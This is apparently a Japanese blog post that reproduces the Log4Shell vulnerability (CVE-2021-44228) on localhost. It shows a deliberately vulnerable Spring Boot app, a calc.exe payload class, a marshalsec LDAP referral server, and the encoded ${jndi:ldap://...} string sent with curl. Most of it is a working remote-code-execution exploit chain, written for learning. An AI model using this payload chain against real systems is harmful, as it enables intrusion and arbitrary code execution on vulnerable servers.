【ETC】Log4Shellの脆弱性(CVE-2021-44228)を再現 PoC

etc

1. 概要

世界的に問題となったLog4Shellの脆弱性について再現してみました。

少し時間が経ってからなので、そこまで役に立たないかもしれませんが何となく知ってはいるけど、もう少し知識を深めたいもしくは事情は分かったけどどうやって再現するの?と思う方に少しでもお役に立ってればと思います。

※影響範囲や対策などは触れません。

2. 再現手順

2-1. 「Vulnerable server」の方の準備

2-1-1. 「pom.xml」

<dependencies>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
      <exclusion>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-logging</artifactId>
      </exclusion>
    </exclusions>
  </dependency>
  
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
  </dependency>
</dependencies>

2-1-2. 「Controller」

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class MyController {
    private static final Logger LOGGER = LogManager.getLogger(MyController.class);
    @RequestMapping("/test")
    String test(@RequestParam("param") String param) {
        LOGGER.info(param);
        return param;
    }
}

※サーバーを立ち上げる

2-2. 「Attacker」の方の準備

2-2-1. Windowsの電卓を立ち上げるJavaコード

※これはシンプルな例なので電卓を立ち上げますが、これで悪用が出来るわけですね。

public class RunCalc {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe").waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

※javac RunCalc.java

2-2-2. HTTP serverを立ち上げる

python -m http.server --bind 0.0.0.0 8000
-----
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

2-2-3. LDAPRefServerを立ち上げる

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#RunCalc 1389
-----
Listening on 0.0.0.0:1389

2-3. 実行

2-3-1. パラメータ

${jndi:ldap://127.0.0.1:1389/a}
    ↓
%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fa%7D

2-3-2. 実行

curl.exe http://127.0.0.1:8080/test?param=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fa%7D

2-4. 結果

電卓が立ち上がりました。

2-4-1. キャッチャー

2-4-2. ログ

2021-12-29 16:17:56,632 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://127.0.0.1:1389/a]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: RunCalc cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'a'

3. 処理フロー

4. 参考